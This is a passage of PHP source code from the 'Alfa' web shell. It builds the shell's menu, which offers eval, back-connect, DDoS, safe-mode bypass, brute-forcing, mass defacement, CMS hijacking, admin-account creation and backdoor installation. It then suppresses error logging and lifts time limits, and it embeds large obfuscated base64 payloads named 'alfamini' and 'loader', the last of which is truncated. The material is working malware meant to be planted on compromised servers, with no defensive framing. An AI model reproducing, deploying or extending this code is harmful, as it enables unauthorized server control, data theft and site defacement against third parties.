  1198. echo '<tr><td height="12"><span class="header_vars">DRIVE:</span></td><td colspan="2"><b>' . $drives . '</b></td></tr>';
  1199. }
  1200. echo '<tr><td height="12"><span class="header_vars">PWD:</span></td><td colspan="2"><span id="header_cwd">' . $cwd_links . ' </span><a href="javascript:void(0);" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a><a href="javascript:void(0);" onclick="path_history(\'back\');"><span class="back_shell">[ BACK ]</span></a></td></tr></table></div><div id="meunlist"><ul>';
  1201. $li = array(
  1202. 'FilesMan' => 'Home',
  1203. 'proc' => 'Process',
  1204. 'phpeval' => 'Eval',
  1205. 'sql' => 'SQL Manager',
  1206. 'dumper' => 'Mysql Dumper',
  1207. 'hash' => 'En-Decoder',
  1208. 'connect' => 'BC',
  1209. 'ssh2' => 'SSH2',
  1210. 'zoneh' => 'ZONE-H',
  1211. 'dos' => 'DDOS',
  1212. 'safe' => 'ByPasser',
  1213. 'cgishell' => 'Cgi Shell',
  1214. 'ssiShell' => 'SSI SHELL',
  1215. 'cpcrack' => 'Hash Tools',
  1216. 'portscanner' => 'Port Scaner',
  1217. 'basedir' => 'Open BaseDir',
  1218. 'mail' => 'Fake Mail',
  1219. 'ziper' => 'Compressor',
  1220. 'IndexChanger' => 'Index Changer',
  1221. 'pwchanger' => 'Add New Admin',
  1222. 'ShellInjectors' => 'Shell Injectors',
  1223. 'php2xml' => 'PHP2XML',
  1224. 'cloudflare' => 'CloudFlare',
  1225. 'Whmcs' => 'Whmcs DeCoder',
  1226. 'symlink' => 'Symlink',
  1227. 'MassDefacer' => 'Mass Defacer',
  1228. 'Crackers' => 'BruteForcer',
  1229. 'searcher' => 'Searcher',
  1230. 'cmshijacker' => 'CMS Hijacker',
  1231. 'remotedl' => 'Remote Upload',
  1232. 'inbackdoor' => 'Install BackDoor',
  1233. 'whois' => 'Whois',
  1234. 'settings' => 'Alfa Settings',
  1235. 'plus' => '<span class="alfa_plus">Alfa +</font>',
  1236. 'selfrm' => 'Remove Shell'
  1237. );
  1238. foreach ($li as $key => $value) {
  1239. echo ('<li><a href="javascript:void(0);" class="menu_options" onclick="g(\'' . $key . '\',null,\'\',\'\',\'\');">' . $value . '</a></li>' . "\n");
  1240. }
  1241. if (!empty($_SESSION['AlfaUser']) && !empty($_SESSION['AlfaPass']))
  1242. echo '<li><a href="javascript:void(0);" onclick="g(\'logout\',null,\'\',\'\',\'\');setTimeout(function(){location.reload();},2000);"><font color="red">LogOut</font></a></li></ul></div>';
  1243. else
  1244. echo '</ul></div>';
  1245. } else {
  1246. @error_reporting(E_ALL ^ E_NOTICE);
  1247. @ini_set('error_log', NULL);
  1248. @ini_set('log_errors', 0);
  1249. @ini_set('max_execution_time', 0);
  1250. @ini_set('magic_quotes_runtime', 0);
  1251. @set_time_limit(0);
  1252. }
  1253. }
  1254. function alfalogout()
  1255. {
  1256. unset($_SESSION['AlfaUser'], $_SESSION['AlfaPass']);
  1257. echo ("<center><font color='red'>Logout...</font></center>");
  1258. }
  1259. function showAnimation($name)
  1260. {
  1261. return '-webkit-animation: ' . $name . ' 800ms ease-in-out forwards;-moz-animation: ' . $name . ' 800ms ease-in-out forwards;-ms-animation: ' . $name . ' 800ms ease-in-out forwards;animation: ' . $name . ' 800ms ease-in-out forwards;';
  1262. }
  1263. function __showicon($r)
  1264. {
  1265. $s['btn'] = '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';
  1266. $s['alfamini'] = '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';
  1267. $s['loader'] = 'HZzHdqtKFEQ/iAE5Dd6AIHLOMCODyBn09Rc/r2Uby1hq+pyu2oXbbgPWdC5IFeuJed8M128+fv0eKfH7gVM55u8zKwuZzv2dwEWsHEb6+1Duvl9Gn1oYR1r5O1Y9pOdtmLVTkYYy1JgylKld3+BliX0yJJkz0WcY6ZuOgTEGgjULXxRFT4dzsZbpP/vpN74sCwrXYozfufEi253tTnUzFV3g5x/H8f2PSLV1y5jmd+J0IfhsvDypCFN1cqqaNWHK7baSWHR8UzqlaCAzwDWKrKPcKBz5/a6K4ZgndHnDMWJGX3y5/JQcf1OeiJX2YcsfVZEY5sO0v4QTfqCrs4zVABZ/rfLGSGfNsKWhaxzDM15yMjr7SOAFLvbc50zMfZichTqv0TiZ8ZkPS3w7dXg/i+/3ioFLPEZ9n1rktRjRvozA7IzIjBWQeYzMFYDSk4zNZj33CZiUc96BekncvOfXJKP+rGCaBUaoL4Z1Bpeyccaod4ZnlQBJZEbjUEbnzQ9zPAxT6+/jTiv7M8M45Pt6svwYGCO7yfuzItXnFOUex8fMl7eI2JDJ1OHauBMLGcfBNwsXkdZg06/rIvW2kdhWmqFjjmscEtFTWYMBa4q63mpzjuBIdQ1adKlj5rqRpjERCN9TO7FSIvgobXxYAJ4Da/55u8MUoGqXAI0DfuLEkOzE7uAi92TtTFF91EVVaskqW7bmM5M5pgFoXICEUdYnbDptTJAy6nCjUe+PksX5HFUVPl49yAQgvAERRoFWBWMa2Sry54liQWKtb31tP8hT/fyHy0ojajk+0RKo5RoIXgX0aB83VPGQm3wM/rh5jH+G6fd7m6JtfdVVc7+HTrrDdmoDLh1Afz6ziRPARIejpU0RXxbiPrkdSh6DnTnDWCqZUZKvMjVfiy2P5TQKAhQI+mWt2ByTdIOb2++C6exO6z11+4HS34JyVI5VV5YVQY8VuR/DNj+WLX4sB961MTmconuc3bAcN7iMJCm1mj6c3bbiL2OKt7tO+MMUhs46qZx6OYMdVx9i/Be+eHBuOIVkVe1hOdthH6b2YldKW0Zo277+fus6GuIIk3NBZt+zFI5XWtZx5O5wDL++/Wn2ZSGQpUqm81rGG/gWj/lDvg321Ocjnp/87mXx8T3U57WAP9IaFSdHnOrTTiT7HiYqnJTTzlc7teILmcrKX